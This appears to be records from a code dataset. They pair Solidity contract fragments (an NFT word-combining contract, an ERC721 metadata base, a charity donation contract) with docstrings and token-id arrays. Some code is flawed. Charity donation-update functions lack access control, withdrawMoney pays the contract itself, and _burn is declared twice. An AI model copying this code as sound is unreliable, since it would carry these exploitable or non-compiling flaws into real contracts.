function setAllocation(uint256 _addPay,uint256 _foundationPay,uint256 _creatorPay,uint256 _ownerPay) external onlyOwner(){
addPay = _addPay;
foundationPay = _foundationPay;
creatorPay = _creatorPay;
ownerPay = _ownerPay;
}
function setPx(uint256 _px) external onlyOwner(){
sizePx = _px;
}
function _registerToken(string memory value,uint256 _initBytesLength) private {
uint256 tokenId = totalSupply();
require(creators[tokenId] == address(0x0), "Token is already minted");
creators[tokenId] = msg.sender;
id_to_value[tokenId] = value;
value_to_id[value] = tokenId;
if(_initBytesLength > 1){
initBytesLength[tokenId] = _initBytesLength;
}
_mint(msg.sender, tokenId);
emit rgToken(tokenId,msg.sender,value);
}
function add(string memory token1, string memory token2) public payable {
require(msg.value == addPay,"INSUFFICIENT_BALANCE");
require(bytes(token1).length > 0,"DOES NOT EXIST");
require(bytes(token2).length > 0,"DOES NOT EXIST");
string memory token3 = string(abi.encodePacked(token1,token2));
uint256 tokenId1 = value_to_id[token1];
uint256 tokenId2 = value_to_id[token2];
uint256 tokenId3 = value_to_id[token3];
require(tokenId1 > 0,"token1 does not exist");
require(tokenId2 > 0,"token2 does not exist");
require(tokenId3 == 0,"The Token that needs to be added exists and cannot be added");
address payable owner1 = address(uint160(ownerOf(tokenId1)));
address payable creators1 = address(uint160(creators[tokenId1]));
address payable owner2 = address(uint160(ownerOf(tokenId2)));
address payable creators2 = address(uint160(creators[tokenId2]));
address payable fdAddress = address(uint160(foundationAddress));
emit addToken(tokenId1,creators[tokenId1],token1,tokenId2,creators[tokenId2],token2);
uint256 _initBytesLength = 1;
if(initBytesLength[tokenId1] >= 3 && initBytesLength[tokenId2] >= 3){
_initBytesLength = 3;
}
_registerToken(token3,_initBytesLength);
owner1.transfer(ownerPay);
creators1.transfer(creatorPay);
owner2.transfer(ownerPay);
creators2.transfer(creatorPay);
fdAddress.transfer(foundationPay);
usageCount[tokenId1] = usageCount[tokenId1].add(1);
ownerIncome[tokenId1][ownerOf(tokenId1)] = ownerIncome[tokenId1][ownerOf(tokenId1)].add(ownerPay);
usageCount[tokenId2] = usageCount[tokenId2].add(1);
ownerIncome[tokenId2][ownerOf(tokenId2)] = ownerIncome[tokenId2][ownerOf(tokenId2)].add(ownerPay);
ownerIncomeAll[ownerOf(tokenId1)]=ownerIncomeAll[ownerOf(tokenId1)].add(ownerPay);
ownerIncomeAll[ownerOf(tokenId2)]=ownerIncomeAll[ownerOf(tokenId2)].add(ownerPay);
creatorIncomeAll[creators[tokenId1]]=creatorIncomeAll[creators[tokenId1]].add(creatorPay);
creatorIncomeAll[creators[tokenId2]]=creatorIncomeAll[creators[tokenId2]].add(creatorPay);
creatorIncome[tokenId1] = creatorIncome[tokenId1].add(creatorPay);
creatorIncome[tokenId2] = creatorIncome[tokenId2].add(creatorPay);
}
function isExist(string memory _tokenValue) public view returns (bool) {
return value_to_id[_tokenValue] > 0;
}
function getWord(uint256 id) public view returns (string memory) {
return id_to_value[id];
}
function getStyle(string memory _letter,uint256 _tokenId) private view returns(uint256){
uint256 px = 0;
if(initBytesLength[_tokenId] >= 3){
px = uint256(306).div((bytes(_letter).length.div(3)));
}else{
px = uint256(306).div((bytes(_letter).length.div(2).add(1)));
}
if(px<sizePx){
px = sizePx;
}
return px;
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if(tokenUrl[tokenId].isVaild){
return tokenUrl[tokenId].url;
}
string memory letter = id_to_value[tokenId];
uint256 px = getStyle(letter,tokenId);
string[13] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" version="1.1"> ';
parts[1] = '<foreignObject x="-12" y="-12" width="534" height="500" style="background-color:black; "> ';
parts[2] = '<defs><style>.tx{color:#f2f2f2;} ::-webkit-scrollbar {width:12px;}</style></defs> ';
parts[3] = '<body xmlns="http://www.w3.org/1999/xhtml" > ';
parts[4] = '<div style="display:flex;align-items:center;text-align:center;width:500px;height:500px;overflow-x:auto;"> ';
parts[5] = '<div class="tx" style="text-align: center;font-size:';
parts[6] = toString(px);
parts[7] = 'px;display:table-cell;width:512px;vertical-align: middle;word-wrap:break-word;vertical-align: middle;max-height:500px">';
parts[8] = letter;
parts[9] = '</div></div> </body> </foreignObject> </svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8], parts[9]));
parts[10] = '{"attributes":[{"value":"';
parts[11] = getUsageCount(tokenId);
parts[12] = '","trait_type":"addCount"}],';
string memory json = Base64.encode(bytes(string(abi.encodePacked(parts[10],parts[11],parts[12],'"name": "', letter, '", "description": "',letter,'", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | Token name Token symbol Optional mapping for token URIs | contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata {
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
| 6,781,159 | [
1,
1345,
508,
3155,
3273,
4055,
2874,
364,
1147,
24565,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
27,
5340,
2277,
353,
1772,
16,
4232,
39,
28275,
16,
4232,
39,
27,
5340,
16,
467,
654,
39,
27,
5340,
2277,
288,
203,
565,
533,
3238,
389,
529,
31,
203,
203,
565,
533,
3238,
389,
7175,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
533,
13,
3238,
389,
2316,
1099,
2520,
31,
203,
203,
565,
1731,
24,
3238,
5381,
389,
18865,
67,
734,
67,
654,
39,
27,
5340,
67,
22746,
273,
374,
92,
25,
70,
25,
73,
24347,
74,
31,
203,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
203,
3639,
389,
4861,
1358,
24899,
18865,
67,
734,
67,
654,
39,
27,
5340,
67,
22746,
1769,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
3903,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
3903,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
1147,
3098,
12,
11890,
5034,
1147,
548,
13,
3903,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
2583,
24899,
1808,
12,
2316,
548,
3631,
315,
654,
39,
27,
5340,
2277,
30,
3699,
843,
364,
1661,
19041,
1147,
8863,
203,
3639,
327,
389,
2316,
1099,
2520,
63,
2316,
548,
15533,
203,
565,
289,
203,
203,
565,
445,
389,
542,
1345,
3098,
12,
11890,
5034,
1147,
548,
16,
533,
3778,
2003,
2
]
|
pragma solidity ^0.5.0;
contract Charity {
enum CharityStatus {UNVERIFIED, VERIFIED, REJECTED}
enum CampaignStatus {ONGOING, ENDED}
struct charity {
address charityOwner;
string charityName;
string charityAddress;
string contactNumber;
string description;
string pictureURL;
string verificationLink;
CharityStatus charityStatus;
address[] donors;
}
struct campaign {
uint256 charityId;
string campaignName;
string description;
string pictureURL;
uint256 targetDonation;
uint256 currentDonation;
uint256 noOfDonors;
uint256 startDate;
uint256 endDate;
CampaignStatus campaignStatus;
}
address contractOwner = msg.sender;
mapping(uint256 => bool) isVerifiedCharity;
mapping(uint256 => charity) charities;
mapping(address => uint256) charityAddressIdMap;
mapping(address => charity) charityAddressMap;
mapping(address => bool) charityOwnerRegistered;
address[] donors;
uint256 noOfCharities = 0;
uint contractMoney = 0;
uint256 charityRegFee = 5 * 10**17; // Reg fee is 0.5 ether, 1 ether is 10**18 wei
mapping(uint256 => bool) isOngoingCampaign;
mapping(uint256 => campaign) campaigns;
uint256 noOfCampaigns = 0;
uint256 noOfReturns = 0;
modifier onlyOwner(address caller) {
require(caller == contractOwner, "Caller is not contract owner");
_;
}
// This will be the modifier that checks whether the function call is done by the Charity itself.
modifier onlyVerifiedCharity(address caller) {
require(
isVerifiedCharity[charityAddressIdMap[caller]],
"Caller is not a valid charity"
);
_;
}
// This will be the modifier that checks whether the function call is done by the Charity or contract owner itself.
modifier onlyVerifiedCharityOrOwner(address caller) {
require(
isVerifiedCharity[charityAddressIdMap[caller]] || caller == contractOwner,
"Caller is not a valid charity nor contract owner"
);
_;
}
/*
* This will be the function that check the address type
* Parameters of this function will include address inputAddress
* This function assumes all input address are either contract, charity, or donor
*/
function checkAddressType(
address inputAddress
)
public
view
returns (string memory)
{
if (inputAddress == contractOwner) {
return "CONTRACT";
} else if (charityOwnerRegistered[inputAddress] == true) {
return "CHARITYOWNER";
} else {
return "DONOR";
}
}
/*
* This will be the function that allows contract owner to withdraw money
* There will be no parameters for this function
*/
function withdrawMoney()
public
onlyOwner(msg.sender)
{
require(contractMoney >= 3 * charityRegFee, "Current money is less than 3 * charity register fee");
address payable recipient = address(uint160(address(this)));
recipient.transfer(contractMoney);
contractMoney = 0;
}
/*
* This fallback function is to make contract address able to receive/make payments
*/
function() external payable { }
/*
* This will be the payable function to register the charity
* Parameters will be string charityName, string charityAddress, string contactNumber, string description and string pictureURL
* Need at least 0.5 ether to register
*/
function registerCharity(
string memory charityName,
string memory charityAddress,
string memory contactNumber,
string memory description,
string memory pictureURL
)
public payable
returns (uint256 charityId) {
require(
charityOwnerRegistered[msg.sender] == false,
"This address has registered another charity already"
);
require(
msg.value >= charityRegFee,
"Need at least 0.5 ether to register a charity"
);
contractMoney = contractMoney + msg.value;
charityId = noOfCharities++;
charity memory newCharity =
charity(
msg.sender,
charityName,
charityAddress,
contactNumber,
description,
pictureURL,
"",
CharityStatus.UNVERIFIED,
donors
);
charities[charityId] = newCharity;
charityAddressIdMap[msg.sender] = charityId;
isVerifiedCharity[charityId] = false;
charityOwnerRegistered[msg.sender] = true;
address payable recipient = address(uint160(contractOwner));
recipient.transfer(msg.value);
return charityId;
}
/*
* This will be the function for contract owner to verify the charity
* Parameters will be uint charityId, string verification
*/
function verifyCharity(
uint256 charityId, string memory verificationLink
)
public
onlyOwner(msg.sender)
{
require(msg.sender == contractOwner, "Caller is not contract owner");
require(charityId < noOfCharities, "Invalid charity id");
require(
charities[charityId].charityStatus == CharityStatus.UNVERIFIED,
"Charity has been verified or rejected"
);
require(
isVerifiedCharity[charityId] == false,
"Charity has been verified"
);
charities[charityId].charityStatus = CharityStatus.VERIFIED;
charities[charityId].verificationLink = verificationLink;
isVerifiedCharity[charityId] = true;
}
/*
* This will be the function for contract owner to reject the charity
* Parameters will be uint charityId, string verification
*/
function rejectCharity(
uint256 charityId
)
public
onlyOwner(msg.sender)
{
require(msg.sender == contractOwner, "Caller is not contract owner");
require(charityId < noOfCharities, "Invalid charity id");
require(
charities[charityId].charityStatus == CharityStatus.UNVERIFIED,
"Charity has been verified or rejected"
);
require(
isVerifiedCharity[charityId] == false,
"Charity has been verified"
);
charities[charityId].charityStatus = CharityStatus.REJECTED;
}
/*
* This will be the function for contract owner to revoke the charity
* Parameters will be uint charityId, string verification
*/
function revokeCharity(
uint256 charityId
)
public
onlyOwner(msg.sender)
{
require(charityId < noOfCharities, "Invalid charity id");
require(
charities[charityId].charityStatus == CharityStatus.VERIFIED,
"Charity is not a verified charity"
);
charities[charityId].charityStatus = CharityStatus.REJECTED;
}
/*
* This will be the function that charities call to create a campaign.
* Parameters of this function will include string campaignName, string description, string pictureURL, uint targetDonation (of the campaign), uint startDate (of the campaign), uint endDate (of the campaign)
*/
function createCampaign(
string memory campaignName,
string memory description,
string memory pictureURL,
uint256 targetDonation,
uint256 startDate,
uint256 endDate
)
public
onlyVerifiedCharity(msg.sender)
returns (uint256 campaignId)
{
campaignId = noOfCampaigns++;
uint256 charityId = charityAddressIdMap[msg.sender];
campaign memory newCampaign =
campaign(
charityId,
campaignName,
description,
pictureURL,
targetDonation,
0,
0,
startDate,
endDate,
CampaignStatus.ONGOING
);
campaigns[campaignId] = newCampaign;
isOngoingCampaign[campaignId] = true;
return campaignId;
}
/*
* This will be the function that charities or contract owner call to end an ongoing campaign.
* Parameters of this function will include uint campaignId
*/
function endCampaign(
uint256 campaignId
)
public
onlyVerifiedCharityOrOwner(msg.sender)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
require(isOngoingCampaign[campaignId], "Campaign is not ongoing");
require(
msg.sender ==
charities[campaigns[campaignId].charityId].charityOwner ||
msg.sender == contractOwner,
"Caller is not authorized for this operation"
);
campaigns[campaignId].campaignStatus = CampaignStatus.ENDED;
isOngoingCampaign[campaignId] = false;
}
/*
* This will be the getter function that everyone can call to check the charity address.
* Parameters of this function will include uint charityId
*/
function getCharityOwner(
uint256 charityId
)
public
view
returns (address)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].charityOwner;
}
/*
* This will be the getter function that everyone can call to check the charity id.
* Parameters of this function will include address inputAddress
*/
function getCharityIdByAddress(
address inputAddress
)
public
view
returns (uint256)
{
require(
charityOwnerRegistered[inputAddress] == true,
"Address not owner of any charity"
);
uint256 charityIdByAddress = charityAddressIdMap[inputAddress];
return charityIdByAddress;
}
/*
* This will be the getter function that everyone can call to check the charity name.
* Parameters of this function will include uint charityId
*/
function getCharityName(
uint256 charityId
)
public
view
returns (string memory)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].charityName;
}
/*
* This will be the getter function that everyone can call to check the charity pictureURL.
* Parameters of this function will include uint charityId
*/
function getCharityPictureURL(
uint256 charityId
)
public
view
returns (string memory)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].pictureURL;
}
/*
* This will be the getter function that everyone can call to check the charity pictureURL.
* Parameters of this function will include address inputAddress
*/
function getCharityPictureURLByAddress(address inputAddress)
public
view
returns (string memory)
{
require(
charityOwnerRegistered[inputAddress] == true,
"Address not owner of any charity"
);
uint256 charityIdByAddress = charityAddressIdMap[inputAddress];
return charities[charityIdByAddress].pictureURL;
}
/*
* This will be the getter function that everyone can call to check the charity description.
* Parameters of this function will include uint charityId
*/
function getCharityDescription(
uint256 charityId
)
public
view
returns (string memory)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].description;
}
/*
* This will be the getter function that everyone can call to check the charity status.
* Parameters of this function will include uint charityId
*/
function getCharityStatus(
uint256 charityId
)
public
view
returns (CharityStatus)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].charityStatus;
}
/*
* This will be the getter function that everyone can call to check the charity status.
* Parameters of this function will include address inputAddress
*/
function getCharityStatusByAddress(
address inputAddress
)
public
view
returns (CharityStatus)
{
require(
charityOwnerRegistered[inputAddress] == true,
"Address not owner of any charity"
);
uint256 charityIdByAddress = charityAddressIdMap[inputAddress];
return charities[charityIdByAddress].charityStatus;
}
/*
* This will be the getter function that everyone can call to get the charity contact number.
* Parameters of this function will include uint charityId
*/
function getCharityContactNumber(
uint256 charityId
)
public
view
returns (string memory)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].contactNumber;
}
/*
* This will be the getter function that everyone can call to get the charity contact address.
* Parameters of this function will include uint charityId
*/
function getCharityContactAddress(
uint256 charityId
)
public
view
returns (string memory)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].charityAddress;
}
/*
* This will be the getter function that everyone can call to get the charity verification Link.
* Parameters of this function will include uint charityId
*/
function getCharityVerificationLink(
uint256 charityId
)
public
view
returns (string memory)
{
require(charityId < noOfCharities, "Invalid charity id");
return charities[charityId].verificationLink;
}
/*
* This will be the getter function that everyone can call to get the total amounts of the charities.
* There will be no parameters for this function
*/
function getNoOfCharities()
public
view
returns (uint256)
{
return noOfCharities;
}
/*
* This will be the getter function that everyone can call to check the campaign's charityId.
* Parameters of this function will include uint campaignId
*/
function getCampaignCharity(
uint256 campaignId
)
public
view
returns (uint256)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].charityId;
}
/*
* This will be the getter function that everyone can call to check the campaign name.
* Parameters of this function will include uint campaignId
*/
function getCampaignName(
uint256 campaignId
)
public
view
returns (string memory)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].campaignName;
}
/*
* This will be the getter function that everyone can call to check the campaign description.
* Parameters of this function will include uint campaignId
*/
function getCampaignDescription(
uint256 campaignId
)
public
view
returns (string memory)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].description;
}
/*
* This will be the getter function that everyone can call to check the campaign pictureURL.
* Parameters of this function will include uint campaignId
*/
function getCampaignPictureURL(
uint256 campaignId
)
public
view
returns (string memory)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].pictureURL;
}
/*
* This will be the getter function that everyone can call to check the campaign targetDonation.
* Parameters of this function will include uint campaignId
*/
function getCampaignTargetDonation(
uint256 campaignId
)
public
view
returns (uint256)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].targetDonation;
}
/*
* This will be the getter function that everyone can call to check the campaign currentDonation.
* Parameters of this function will include uint campaignId
*/
function getCampaignCurrentDonation(
uint256 campaignId
)
public
view
returns (uint256)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].currentDonation;
}
/*
* This will be the getter function that everyone can call to check the campaign noOfDonors.
* Parameters of this function will include uint campaignId
*/
function getCampaignNoOfDonors(
uint256 campaignId
)
public
view
returns (uint256)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].noOfDonors;
}
/*
* This will be the getter function that everyone can call to check the campaign startDate.
* Parameters of this function will include uint campaignId
*/
function getCampaignStartDate(
uint256 campaignId
)
public
view
returns (uint256)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].startDate;
}
/*
* This will be the getter function that everyone can call to check the campaign endDate.
* Parameters of this function will include uint campaignId
*/
function getCampaignEndDate(
uint256 campaignId
)
public
view
returns (uint256)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].endDate;
}
/*
* This will be the getter function that everyone can call to check the campaign status.
* Parameters of this function will include uint campaignId
*/
function getCampaignStatus(
uint256 campaignId
)
public
view
returns (CampaignStatus)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
return campaigns[campaignId].campaignStatus;
}
/*
* This will be the getter function that everyone can call to get the total amounts of the campaigns.
* There will be no parameters fot this function
*/
function getNoOfCampaigns()
public
view
returns (uint256)
{
return noOfCampaigns;
}
/*
*This will be the getter function that everyone can call to check the status of the campaign.
* Parameters of this function will include uint campaignId
*/
function isStatusComplete(
uint256 campaignId
)
public
view
returns (bool)
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
if (campaigns[campaignId].campaignStatus == CampaignStatus.ENDED) {
return true;
}
return false;
}
/*
*This will be the getter function that everyone can call to check if the campagin is valid
* Parameters of this function will include uint campaignId
*/
function checkValidCampaign(
uint256 campaignId
)
public
view
returns (bool)
{
if (campaignId < noOfCampaigns) {
return true;
}
return false;
}
/*
* This will be the function that updates the campaign's currentDonation
* Parameters of this function will include uint campaignId and uint newDonation
*/
function updateCampaignCurrentDonation(
uint256 campaignId,
uint256 newDonation
)
public
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
uint256 newAmount = campaigns[campaignId].currentDonation + newDonation;
campaigns[campaignId].currentDonation = newAmount;
}
/*
* This will be the function that updates the campaign's noOfDonors
* Parameters of this function will include uint campaignId
*/
function addCampaignDonor(
uint256 campaignId
)
public
{
require(campaignId < noOfCampaigns, "Invalid campaign id");
uint256 newNumber = campaigns[campaignId].noOfDonors + 1;
campaigns[campaignId].noOfDonors = newNumber;
}
/*
* This will be the function that returns the charity's donors
* Parameters of this function will include uint campaignId
*/
function getDonors(
uint256 charityId
)
public
view
returns(address[] memory)
{
address[] memory donorList = charities[charityId].donors;
return donorList;
}
/*
* This will be the function that get charity register fee
* There will be no parameters for this function
*/
function getRegFee() public view returns(uint256) {
return charityRegFee;
}
/*
* This will be the function to get contract's owner
* There will be no parameters for this function
*/
function getContractOwner() public view returns (address) {
return contractOwner;
}
/*
* This will be the function to check if donor has donated to charity before
* Parameters of this function will include address donor, uint charityId
*/
function checkCharityDonor(
address donor,
uint256 charityId
)
public
view
returns (bool)
{
uint length = charities[charityId].donors.length;
for (uint i = 0; i < length; i++) {
if(charities[charityId].donors[i] == donor) {
return true;
}
}
return false;
}
/*
* This will be the function to add a new donor to charity
* Parameters of this function will include address donor, uint charityId
*/
function addCharityDonor(
address donor,
uint256 charityId
)
public
{
charities[charityId].donors.push(donor);
}
} | This will be the getter function that everyone can call to check the charity pictureURL. Parameters of this function will include address inputAddress/ | function getCharityPictureURLByAddress(address inputAddress)
public
view
returns (string memory)
{
require(
charityOwnerRegistered[inputAddress] == true,
"Address not owner of any charity"
);
uint256 charityIdByAddress = charityAddressIdMap[inputAddress];
return charities[charityIdByAddress].pictureURL;
}
| 6,449,575 | [
1,
2503,
903,
506,
326,
7060,
445,
716,
3614,
476,
848,
745,
358,
866,
326,
1149,
560,
15406,
1785,
18,
7012,
434,
333,
445,
903,
2341,
1758,
810,
1887,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
23577,
560,
24061,
1785,
858,
1887,
12,
2867,
810,
1887,
13,
27699,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
1080,
3778,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
1149,
560,
5541,
10868,
63,
2630,
1887,
65,
422,
638,
16,
203,
5411,
315,
1887,
486,
3410,
434,
1281,
1149,
560,
6,
203,
3639,
11272,
203,
3639,
2254,
5034,
1149,
560,
548,
858,
1887,
273,
1149,
560,
30615,
863,
63,
2630,
1887,
15533,
203,
3639,
327,
1149,
1961,
63,
3001,
560,
548,
858,
1887,
8009,
21126,
1785,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./PaymentSplitterAdjustable.sol";
contract Metanaut is ERC721Enumerable, Pausable, AccessControl, PaymentSplitterAdjustable {
using Counters for Counters.Counter;
using Strings for uint256;
